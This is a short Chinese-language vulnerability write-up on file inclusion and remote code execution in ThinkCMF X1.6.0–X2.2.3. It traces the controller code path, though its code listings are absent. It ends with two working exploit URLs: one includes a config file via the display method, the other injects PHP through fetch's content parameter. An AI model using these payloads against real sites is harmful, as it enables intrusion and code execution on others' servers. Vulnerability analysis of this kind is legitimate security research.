ThinkCMF文件包含与远程代码执行分析
2020-11-30 10:42:08
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
本文使用2.2.3进行分析,下载链接:https://www.mycodes.net/45/7058.htm
代码分析
文件包含
首先来到默认控制器,位于\application\Portal\Controller\IndexController.class.php
,代码如下
跟进HomebaseController
控制器,其中存在许多public
属性的方法,我们可以在前台直接调用,该处漏洞利用了display
方法
该方法中的五个参数都是可控的,第一个参数被传入到了parseTemplate
方法中,跟进该方法
如果文件存在,会直接返回文件名,在这里我们控制该参数为想包含的文件即可
代码执行
该处调用到了HomebaseController
中的fetch方法,代码如下
该方法调用了父类中的fetch方法,跟进该方法
继续跟进
该处存在着代码执行的点,我们只要控制content
的值即可
漏洞利用
文件包含
1 | http://cmf.io/index.php?a=display&templateFile=config.yaml |
命令执行
1 | http://cmf.io/index.php?a=fetch&content=<?php phpinfo();exit();?> |
注意要使用exit函数中段代码执行,否则不会进行输出